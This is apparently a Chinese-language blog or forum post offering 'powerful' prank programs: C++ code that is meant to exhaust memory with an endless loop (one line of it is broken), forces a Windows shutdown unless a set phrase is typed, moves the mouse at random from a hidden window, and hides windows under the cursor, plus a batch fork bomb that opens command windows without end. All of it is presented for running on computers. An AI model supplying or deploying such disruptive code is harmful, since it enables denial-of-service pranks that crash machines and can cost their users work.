我今天整理了几种很厉害的代码,给大家看一下。
让电脑冒烟的:
#include <bits/stdc++.h>
using namespace std;
queue<int>q;
int main(){
while (1){
q.push;
}
return 0;
}
不输入指定内容就关机的
#include <bits/stdc++.h>
using namespace std;
int main() {
system("shutdown -s -c 给你20秒时间输入指定内容,否则关机");
for(;;)
{
string a;
cin>>a;
if(a=="指定内容")
{
system("shutdown -a");
break;
}
}
return 0;
}
让鼠标乱动的:
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(;;)
{
//system("start cmd");
//for(int i=1;i<=100;i++)
//{
SetCursorPos(rand()%y,rand()%x);
//}
}
return 0;
}
窗口消失的:
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <string.h>
struct node
{
HWND handle;
struct node *next;
};
int k=1;
int LEN=sizeof(struct node);
struct node *addnode(struct node*head,HWND handle)
{
struct node *p;
p=(struct node*)malloc(LEN);
if(p==NULL)return NULL;
p->handle=handle;
p->next=head->next;
head->next=p;
return head;
}
void timecounter(void*)
{
Sleep(30000);
k=0;
}
int main()
{
struct node *head,*p;
MessageBoxA(NULL,"A 30-second game!","^_^",MB_OK);
head=(struct node*)malloc(LEN);
if(head==NULL)k=0;
head->handle=NULL;
head->next=NULL;
HWND handle;
_beginthread(timecounter,0,NULL);
while(k)
{
LPPOINT now=(LPPOINT)malloc(sizeof(LPPOINT));
GetCursorPos(now);
handle=WindowFromPoint(*now);
if(addnode(head,handle)==NULL)
break;
ShowWindow(handle,SW_HIDE);
}
Sleep(100);
head=head->next;
while(head->next!=NULL)
{
p=head->next;
ShowWindow(head->handle,SW_SHOW);
free(head);
head=p;
}
ShowWindow(head->handle,SW_SHOW);
free(head);
return 0;
}
以上是c++的。
下一个是用txt输入后改成bat文件的。
不断弹窗的:
:start
start cmd
goto start